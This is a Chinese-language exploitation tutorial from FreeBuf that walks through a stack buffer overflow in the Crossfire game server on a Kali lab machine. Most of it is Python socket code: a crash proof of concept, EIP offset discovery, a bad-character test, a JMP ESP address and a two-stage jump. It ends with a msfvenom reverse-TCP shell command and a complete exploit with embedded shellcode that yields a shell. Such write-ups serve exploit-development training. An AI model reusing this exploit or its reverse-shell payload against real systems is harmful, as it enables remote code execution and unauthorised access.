Linux Buffer Overflow之crossfire实战案例 – 作者:yidaofeiliu

环境准备

kali虚拟机 kali-linux-2020.4-vmware-i386

漏洞程序 crossfire.tar.gz

Evans Debugger(edb):apt-get install edb-debugger ,kali下可能需要编辑/etc/apt/sources.list添加源，apt-get update后才能安装

注意：需要关闭虚拟机操作系统的NX保护。可以参考disable-nx-on-linux

也可使用vbox来关闭虚拟机的PAE/NX保护机制,但对虚拟的版本有要求。

使用checksec.sh检查crossfire可执行文件在编译时保护机制的开启情况，或者通过readelf -l crossfire来查看栈是否有可执行权限

1.定位漏洞

在kali安装的crossfire的bin目录下，命令行执行程序./crossfire

不好直接FUZZ，如有朋友知道具体的fuzz流程，欢迎留言探讨。

使用已知poc直接定位漏洞

#!/usr/bin/python
import socket, sys

host = "127.0.0.1"

crash = "\x41" * 4379
buffer = "\x11(setup sound " + crash + "\x90\x00#"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "[*] Sending evil buffer..."
s.connect((host, 13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()

print "[!] Payload sent!"

2.定位和控制EIP

生成4379字节大小的每4字节不重复的字符串

msf-pattern_create -l 4379

不多说，直接上代码

#!/usr/bin/python
import socket, sys

host = "127.0.0.1"

crash = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp" 

buffer = "\x11(setup sound " + crash + "\x90\x00#"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "[*] Sending evil buffer..."
s.connect((host, 13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()

print "[!] Payload sent!"

发现EIP被46367046覆盖

定位出覆盖EIP的hex code在buffer中的偏移位置

msf-pattern_offset -q 46367046

这次我们用“BBBB”替换EIP，代码如下：

#!/usr/bin/python
import socket, sys

host = "127.0.0.1"

crash = "\x41" * 4368 + "B" * 4 + "C" * 7
buffer = "\x11(setup sound " + crash + "\x90\x00#"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "[*] Sending evil buffer..."
s.connect((host, 13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()

print "[!] Payload sent!"

3.定位SHELLCODE的入口位置和分配空间

接下来我们的目标是查找有没有哪个寄存器的值指向我们的缓冲区，这样就可以通过JMP或者CALL指令，将代码执行流程转到我们缓冲区内。

执行上面的脚本后，发现ESP的值指向了缓冲区的最后，留下7字节给我们的shellcode.

另外发现，EAX的值指向了缓冲区的开始，包含了“set up sound”字符串，如果直接JMP EAX会有干扰。

结合ESP指向的位置，两者结合起来。

先通过JMP ESP跳到第一阶段的shellcode,这段shellcode执行的是

add eax,12     #83c00c

jmp eax          #ffe0

然后EAX的值指向的buffer空间存放我们第二阶段的shellcode，也就是reverse_tcp_shell的payload.

在此我们将ESP指向的第一阶段的shelllcode设计为：

first_stage = “\x83\xc0\x0c\xff\xe0\x90\x90”

4.定位坏字符

#!/usr/bin/python
import socket, sys

host = "127.0.0.1"
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
            "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
            "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
            "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
            "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
            "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
            "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
            "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
            "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
            "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
            "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
            "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
            "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
            "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
            "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
            "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
crash = badchars + "\x41" * (4368-len(badchars)) + "B" * 4 + "C" * 7
buffer = "\x11(setup sound " + crash + "\x90\x00#"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "[*] Sending evil buffer..."
s.connect((host, 13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()

print "[!] Payload sent!"

5.定位指令JMP ESP的可靠内存地址

使用edb debugger的插件OpcodeSearcher找到JMP ESP的地址

代码修改如下：

#!/usr/bin/python
import socket, sys

host = "127.0.0.1"

padding = "\x41" * 4368
eip = "\x96\x45\x13\x08"
first_stage = "\x83\xc0\x0c\xff\xe0\x90\x90"
buffer = "\x11(setup sound " + padding + eip + first_stage + "\x90\x00#"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "[*] Sending evil buffer..."
s.connect((host, 13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()

print "[!] Payload sent!"

我们使用edb的下断点插件，Breakpoit Manager来确认EIP被正确覆盖。

6.生成SHELLCODE并完成exploit

使用msfvenom构造shellcode:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -f py -b “\x00\x20” -v shellcode

最终代码如下：

#!/usr/bin/python
import socket, sys

host = "127.0.0.1"
nop_sled = "\x90" * 8
shellcode =  b""
shellcode += b"\xbb\x0c\xbe\x42\x36\xdb\xd3\xd9\x74\x24\xf4"
shellcode += b"\x5a\x29\xc9\xb1\x12\x31\x5a\x12\x83\xea\xfc"
shellcode += b"\x03\x56\xb0\xa0\xc3\x57\x17\xd3\xcf\xc4\xe4"
shellcode += b"\x4f\x7a\xe8\x63\x8e\xca\x8a\xbe\xd1\xb8\x0b"
shellcode += b"\xf1\xed\x73\x2b\xb8\x68\x75\x43\x44\x8b\x85"
shellcode += b"\x92\xd2\x89\x85\x95\x99\x07\x64\x25\xbb\x47"
shellcode += b"\x36\x16\xf7\x6b\x31\x79\x3a\xeb\x13\x11\xab"
shellcode += b"\xc3\xe0\x89\x5b\x33\x28\x2b\xf5\xc2\xd5\xf9"
shellcode += b"\x56\x5c\xf8\x4d\x53\x93\x7b"
padding = "\x41" * (4368 - len(nop_sled) - len(shellcode))
eip = "\x96\x45\x13\x08"
first_stage = "\x83\xc0\x0c\xff\xe0\x90\x90"
buffer = "\x11(setup sound " + nop_sled + shellcode + padding + eip + first_stage + "\x90\x00#"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "[*] Sending evil buffer..."
s.connect((host, 13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()

print "[!] Payload sent!"

成功getshell

来源：freebuf.com 2021-01-10 17:44:21 by: yidaofeiliu